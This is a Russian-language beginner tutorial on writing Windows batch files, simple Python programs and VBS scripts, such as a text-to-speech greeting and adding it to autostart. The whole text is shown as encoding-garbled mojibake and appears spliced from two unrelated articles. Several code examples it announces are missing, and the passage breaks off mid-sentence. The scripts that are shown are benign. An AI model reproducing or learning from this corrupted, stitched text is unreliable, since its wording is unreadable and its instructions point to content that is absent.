ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ€Π΅Π·Π΅Ρ€Π²Π½Ρ‹Π΅ ΠΊΠΎΠΏΠΈΠΈ ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠ΅.

  • Π‘Π½ΠΈΠ·Ρƒ прСдставлСны ΠΏΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΠΈΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΏΠ°ΠΊΠ΅Ρ‚Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ.
  • ΠΠ°ΠΏΠΈΡˆΠΈΡ‚Π΅ ΠΏΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ для создания Ρ€Π΅Π·Π΅Ρ€Π²Π½Ρ‹Ρ… ΠΊΠΎΠΏΠΈΠΉ. Π­Ρ‚ΠΎ простая ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° Π² состоянии ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Ρ€Π΅Π·Π΅Ρ€Π²Π½ΡƒΡŽ копию Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈΠ· ΠΎΠ΄Π½ΠΎΠΉ ΠΏΠ°ΠΏΠΊΠΈ Π² Π΄Ρ€ΡƒΠ³ΡƒΡŽ, копируя Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ Ρ„Π°ΠΉΠ»Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Ρ‹ со Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ послСднСй Ρ€Π΅Π·Π΅Ρ€Π²Π½ΠΎΠΉ ΠΊΠΎΠΏΠΈΠΈ.

    ΠΠ°ΠΏΠΈΡˆΠΈΡ‚Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ», Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Π°ΡˆΡƒ ΡΠ΅Ρ‚ΡŒ. Если Π²Ρ‹ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Π°ΡˆΡƒ ΡΠ΅Ρ‚ΡŒ ΠΈΠ»ΠΈ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ ΠΊ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρƒ, Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹ΠΉ ΠΏΠ°ΠΊΠ΅Ρ‚Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΊΠΎΠΌΠ°Π½Π΄ Ipconfig ΠΈ Ping.

    Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Ρ„Π°ΠΉΠ» Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅.bat. Когда Π²Ρ‹ создаСтС ΠΏΠ°ΠΊΠ΅Ρ‚Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» Π² Π‘Π»ΠΎΠΊΠ½ΠΎΡ‚Π΅, Π²Π°ΠΌ придСтся ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² качСствС Ρ„Π°ΠΉΠ»Π°.

    bat. Π€Π°ΠΉΠ» станСт ΠΈΡΠΏΠΎΠ»Π½ΡΡŽΡ‰ΠΈΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ запускаСтся Π΄Π²ΠΎΠΉΠ½Ρ‹ΠΌ Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ΠΌ ΠΌΡ‹ΡˆΠΊΠΈ ΠΈΠ»ΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки.

    • ΠšΠ»ΠΈΠΊΠ½ΠΈΡ‚Π΅ Π½Π° Π€Π°ΠΉΠ» – Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊ. Π’ контСкстном мСню β€œΠ‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π² форматС” Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ «Π’сС Ρ„Π°ΠΉΠ»Ρ‹ (*.*)». Π’Π²Π΅Π΄ΠΈΡ‚Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅.bat. Π€Π°ΠΉΠ» ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒΡΡ Π² качСствС ΠΏΠ°ΠΊΠ΅Ρ‚Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π°, позволяя Π΅Π³ΠΎ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ.
  • Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ собствСнный ΠΏΠ°ΠΊΠ΅Ρ‚Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Ρ‹. Π’Ρ‹ смоТСтС ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΠ°ΠΊΠ΅Ρ‚Π½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ². Π’Ρ‹ смоТСтС Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΈ, ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ для сТатия Ρ„Π°ΠΉΠ»ΠΎΠ², Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΏΠ°Ρ€ΠΎΠ»ΡŒ ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠ΅.

    • ΠŸΠΎΠΈΡ‰ΠΈΡ‚Π΅ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΏΠΎ Ρ€Π°Π±ΠΎΡ‚Π΅ ΠΈ созданию ΠΏΠ°ΠΊΠ΅Ρ‚Π½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ².
  • Π§Π°ΡΡ‚ΡŒ 3

    Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Π½Π° Python
    1. ΠΠ°ΡƒΡ‡ΠΈΡ‚Π΅ΡΡŒ ΠΏΡ€ΠΎΡΡ‚Π΅ΠΉΡˆΠΈΠΌ скриптам Π½Π° Python-Π΅. Python являСтся популярным языком программирования для Π²Π΅Π±-скриптов, ΠΈ ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· самых простых языков для изучСния. ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Π½Π° Pyhton Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ слоТными; Π²Π°ΠΌ понадобится установлСнный ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€. Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ Π½Π° Python Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Ρ‡Π΅Ρ€Π΅Π· интСрфСйс ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки.

      • Π‘Π½ΠΈΠ·Ρƒ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ нСсколько простых ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² Ρ„Π°ΠΉΠ»ΠΎΠ² Π½Π° Python-Π΅.
    2. Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ «Hello, World».

      Π­Ρ‚ΠΎ являСтся самой простой ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΎΠΉ для создания ΠΈ ΡƒΡ‡ΠΈΡ‚ основам конструирования ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ Π½Π° Python. ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ слова «Hello, World!» Π½Π° экранС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.

      Π’Ρ‹Π²Π΅Π΄ΠΈΡ‚Π΅ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π€ΠΈΠ±ΠΎΠ½Π°Ρ‡Ρ‡ΠΈ. Π­Ρ‚ΠΎ простая ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° подсчитываСт числа Π€ΠΈΠ±ΠΎΠ½Π°Ρ‡Ρ‡ΠΈ Π΄ΠΎ 100. Π’Ρ‹ смоТСтС ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 100 (Π½Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉ строкС) Π½Π° любоС Π΄Ρ€ΡƒΠ³ΠΎΠ΅. НС Π·Π°Π±ΡƒΠ΄ΡŒΡ‚Π΅ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ выступы – это Ρ‚ΠΎ, ΠΊΠ°ΠΊ Π½Π° Python-Π΅ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‚ΡΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.

      ЗапуститС ваши ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹. Π’Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Π½Π° Python-Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡ… Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ. Если Ρƒ вас Π΅ΡΡ‚ΡŒ установлСнный ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€, Ρ‚ΠΎ Π²Ρ‹ смоТСтС Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ сохранСнный Ρ„Π°ΠΉΠ», Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ. ΠšΠ»ΠΈΠΊΠ½ΠΈΡ‚Π΅ Π½Π° Π€Π°ΠΉΠ» – Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊ. Π’ контСкстном мСню β€œΠ‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π² форматС” Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ «Π’сС Ρ„Π°ΠΉΠ»Ρ‹ (*.*)». Π’Π²Π΅Π΄ΠΈΡ‚Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ β€œ.py”. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€ смоТСт Ρ€Π°ΡΠΏΠΎΠ·Π½Π°Ρ‚ΡŒ ΠΈ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π½ΡƒΠΆΠ½Ρ‹ΠΉ Ρ„Π°ΠΉΠ».

    3. Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Π½Π° Python-Π΅. Π”Π°ΠΆΠ΅ Ссли Π²Ρ‹ Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ Π·Π½Π°ΠΊΠΎΠΌΡ‹ с языком, Python являСтся ΠΎΡ‡Π΅Π½ΡŒ ΠΌΠΎΡ‰Π½Ρ‹ΠΌ языком программирования, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π² создании ΠΌΠ½ΠΎΠ³ΠΈΡ… ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… Π²Π΅Ρ‰Π΅ΠΉ. Π’Ρ‹ смоТСтС ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ списки, ΠΏΠ΅Ρ‚Π»ΠΈ ΠΈ Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ. Π’Ρ‹ Π΄Π°ΠΆΠ΅ смоТСтС ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΈΠ³Ρ€Ρƒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Python.

      • ΠŸΠΎΠΈΡ‰ΠΈΡ‚Π΅ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΏΠΎ Ρ€Π°Π±ΠΎΡ‚Π΅ ΠΈ созданию ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ Π½Π° Python-Π΅.

    Π‘ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ΠΉ Π²Ρ‹ Π½Π΅ Π½Π°ΡƒΡ‡ΠΈΡ‚Π΅ΡΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ Π΄Π°ΠΆΠ΅ Π½Π΅ Π½Π°ΠΏΠΈΡˆΠΈΡ‚Π΅ ΠΊΠ°ΠΊ Ρ‚Π°ΠΊΠΎΠ²ΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ, Π½ΠΎ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ здСсь ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹Π΅ VBS скрипты ΠΈ BAT Ρ„Π°ΠΉΠ»Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Π΅Π· ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ Π½Π°ΠΏΠΈΡˆΠ΅Ρ‚Π΅ Π² ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΌ Π±Π»ΠΎΠΊΠ½ΠΎΡ‚Π΅ Windows, смоТСтС ΡƒΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎ своСму, ΠΏΠΎΡ‚ΠΎΠΌ ΠΏΠΎΡ…Π²Π°ΡΡ‚Π°Ρ‚ΡŒΡΡ ΠΏΠ΅Ρ€Π΅Π΄ Π΄Ρ€ΡƒΠ·ΡŒΡΠΌΠΈ ΠΈ Π±Π»ΠΈΠ·ΠΊΠΈΠΌΠΈ. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ это ΠΏΠΎΠ΄Π½ΠΈΠΌΠ΅Ρ‚ Π²Π°ΠΌ настроСниС ΠΈ Π²Ρ‹ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Π΄Π΅Ρ‚Π΅ врСмя.

    Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΏΠΎΡ…ΠΎΠΆΠΈΡ… скриптов ΠΏΠΈΡˆΡƒΡ‚ΡΡ для удобства ΠΈ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΊΠ°ΠΊΠΈΡ…-Π»ΠΈΠ±ΠΎ дСйствий Π½Π° ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ с ОБ Windows. ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ ΠΆΠ΅ Π½ΠΈΠΆΠ΅ скрипты ΠΌΠ°Π»ΠΎ окаТутся ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌΠΈ (ΠΌΠΎΠΆΠ΅Ρ‚ ΠΌΠ½Π΅ Ρ‚Π°ΠΊ каТСтся), Π½ΠΎ ΠΎΠ½ΠΈ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ ΠΏΠΎΠ΄ΠΎΠΉΠ΄ΡƒΡ‚ для ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ знакомства с «ΠΊΠΎΠ΄ΠΈΠ½Π³ΠΎΠΌ». Π’Ρ‹ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Π΄Π΅Ρ‚Π΅ врСмя, ΡƒΠ΄ΠΈΠ²ΠΈΠ² ΠΊΠ°ΠΊ сСбя, Ρ‚Π°ΠΊ ΠΈ Π·Π½Π°ΠΊΠΎΠΌΡ‹Ρ… Ρ‡Π°ΠΉΠ½ΠΈΠΊΠΎΠ² (Π½Π΅ программистов), плюс это Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ Ρ…ΠΎΡ€ΠΎΡˆΠΈΠΉ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ .

    НСмного Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ»ΠΎΠ³ΠΈΠΈ:

    • VBS — язык программирования для создания скриптов Π² ОБ Windows, создаСтся/рСдактируСтся Π² Π‘Π»ΠΎΠΊΠ½ΠΎΡ‚Π΅ Windows, ΠΈΠΌΠ΅Π΅Ρ‚ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ «.vbs». Π”ΡƒΠΌΠ°ΡŽ, ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ смысла, ΠΈΠ±ΠΎ это ΠΌΠ°Π»ΠΎ ΠΎ Ρ‡Π΅ΠΌ скаТСт, особСнно Π½ΠΎΠ²ΠΈΡ‡ΠΊΠ°ΠΌ. Π˜Π½Ρ‚Π΅Ρ€Π΅ΡΡƒΡŽΡ‰ΠΈΠΌΡΡ — .
    • BAT — ΠΏΠ°ΠΊΠ΅Ρ‚Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ», Π² Π½Π°Ρ€ΠΎΠ΄Π΅ просто «Π±Π°Ρ‚Π½ΠΈΠΊ». Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ Ρ„Π°ΠΉΠ»Π° «.bat». Π”Π°Π»ΡŒΡˆΠ΅ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ — .

    Π”Π°Π½Π½Ρ‹Ρ… Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ (vbs, bat) Ρ„Π°ΠΉΠ»Ρ‹ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ Π²ΠΎ всСми извСстном Π‘Π»ΠΎΠΊΠ½ΠΎΡ‚Π΅ Windows (Notepad). Для большСго удобства создания скриптов рСкомСндуСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡƒΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΡΡ‚Π²ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ (скаТСм Ρ‚Π°ΠΊ) Π±Π»ΠΎΠΊΠ½ΠΎΡ‚ — Notepad++. Он ΡƒΠ΄ΠΎΠ±Π΅Π½ подсвСткой синтаксиса большого количСства языков программирования, Ссли Π²Π°ΠΌ это ΠΌΠ°Π»ΠΎ ΠΎ Ρ‡Π΅ΠΌ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚, Ρ‚ΠΎ скачайтС ΠΈ ΠΏΠΈΡˆΠΈΡ‚Π΅ Π² Π½Π΅ΠΌ — ошибок сдСлаСтС мСньшС Π² ΠΊΠΎΠ΄Π΅, Π½Ρƒ ΠΈΠ»ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡ… ΠΏΡ€ΠΎΡ‰Π΅ Π½Π°ΠΉΡ‚ΠΈ, Ρ‡Π΅ΠΌ Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ ΠΌΠ°Π»ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠΌ Π‘Π»ΠΎΠΊΠ½ΠΎΡ‚Π΅ Windows.

    Для наглядности ΠΏΡ€ΠΈΠΌΠ΅Ρ€ (слСва — Π‘Π»ΠΎΠΊΠ½ΠΎΡ‚ Windows, справа — Notepad++):


    ΠŸΡ€ΠΈΡΡ‚ΡƒΠΏΠΈΠΌ

    Если Π²Ρ‹ ΡƒΠΆΠ΅ Π·Π½Π°ΠΊΠΎΠΌΡ‹ с VBS скриптами ΠΈ Π±Π°Ρ‚Π½ΠΈΠΊΠ°ΠΌΠΈ, Ρ‚ΠΎ скорСС всСго Π½ΠΈΠΆΠ΅ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π²Π°ΠΌ Π±ΡƒΠ΄ΡƒΡ‚ нСинтСрСсны, Ссли ΠΆΠ΅ Π²Ρ‹ Π½ΠΎΠ²ΠΈΡ‡ΠΎΠΊ, Ρ‚ΠΎ для ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ознакомлСния — Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ.

    Научим ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ Π·Π΄ΠΎΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ

    1. ΠžΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅ΠΌ Π‘Π»ΠΎΠΊΠ½ΠΎΡ‚ (ΠΈΠ»ΠΈ Notepad Plus Plus).
    2. ΠšΠΎΠΏΠΈΡ€ΡƒΠ΅ΠΌ Π² вставляСм ΠΊΠΎΠ΄:

      Set sapi=CreateObject(«sapi.spvoice»)

      sapi.Speak «Hello!»

    3. ΠžΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ условиС: ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ β€œΡ‚Π°ΠΊΠΈΠΌΠΈβ€, Β«Ρ‘Π»ΠΎΡ‡ΠΊΠΈΒ» Π½Π΅ ΠΏΠΎΠ΄ΠΎΠΉΠ΄ΡƒΡ‚, скрипт Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΈ Π²Ρ‹ΠΉΠ΄Π΅Ρ‚ ошибка. ВмСсто слова «Hello» ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ ΡƒΠ³ΠΎΠ΄Π½ΠΎ, Π΄Π°ΠΆΠ΅ ΠΏΠΎ русски, ΠΏΡ€ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠΈ русского голосового Π΄Π²ΠΈΠΆΠΊΠ°.
    4. Π”Π°Π»ΡŒΡˆΠ΅ Π²Ρ‹Π±ΠΈΡ€Π°Π΅ΠΌ Π€Π°ΠΉΠ» — Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊ — Π’ΠΈΠΏ Ρ„Π°ΠΉΠ»Π° — ВсС Ρ„Π°ΠΉΠ»Ρ‹ — Π½Π°Π·Π²Π°Π½ΠΈΠ΅.vbs
    5. НазывайтС Ρ„Π°ΠΉΠ» ΠΊΠ°ΠΊ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Π½ΠΎ Π½Π΅ Π·Π°Π±ΡƒΠ΄ΡŒΡ‚Π΅ Π² ΠΊΠΎΠ½Ρ†Π΅ ΠΏΡ€ΠΎΠΏΠΈΡΠ°Ρ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ — .vbs (ΠΏΡ€ΠΈΠΌΠ΅Ρ€ — Privet.vbs).
    6. Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ свой скрипт — запуститС Ρ„Π°ΠΉΠ» Π΄Π²ΠΎΠΉΠ½Ρ‹ΠΌ Ρ‰Π΅Π»Ρ‡ΠΎΠΊ ΠΌΡ‹ΡˆΠΈ.

    Один нюанс: Ссли Π²Ρ‹ прописали Π² ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠ°Ρ… слова русскими Π±ΡƒΠΊΠ²Π°ΠΌΠΈ, Π° ΠΏΡ€ΠΈ запускС произносится нСпонятно Ρ‡Ρ‚ΠΎ, Ρ‚ΠΎ Ρƒ вас просто Π½Π΅ установлСн русский голосовой Π΄Π²ΠΈΠΆΠΎΠΊ. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π°Ρ установка ΠΈ настройка голосового Π΄Π²ΠΈΠΆΠΊΠ° Π²Ρ‹Ρ…ΠΎΠ΄ΠΈΡ‚ Π·Π° Ρ€Π°ΠΌΠΊΠΈ нашСй ΡΡ‚Π°Ρ‚ΡŒΠΈ, поэтому Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ ΠΈ вновь Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΠΉΡ‚Π΅ΡΡŒ сюда.

    Π’Π΅ΠΏΠ΅Ρ€ΡŒ, сдСлаСм ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅: ΠΏΡ€ΠΎΠΏΠΈΡˆΠ΅ΠΌ Π΄Π°Π½Π½Ρ‹ΠΉ скрипт Π² Π°Π²Ρ‚ΠΎΠ·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ, Π° это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ запускС ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π° Π²Π°ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ произнСсСно написанноС Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅ слово (слова), Ссли ΠΊΠ°ΠΊ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ΡŒ — «Hello» ΠΏΡ€ΠΈ 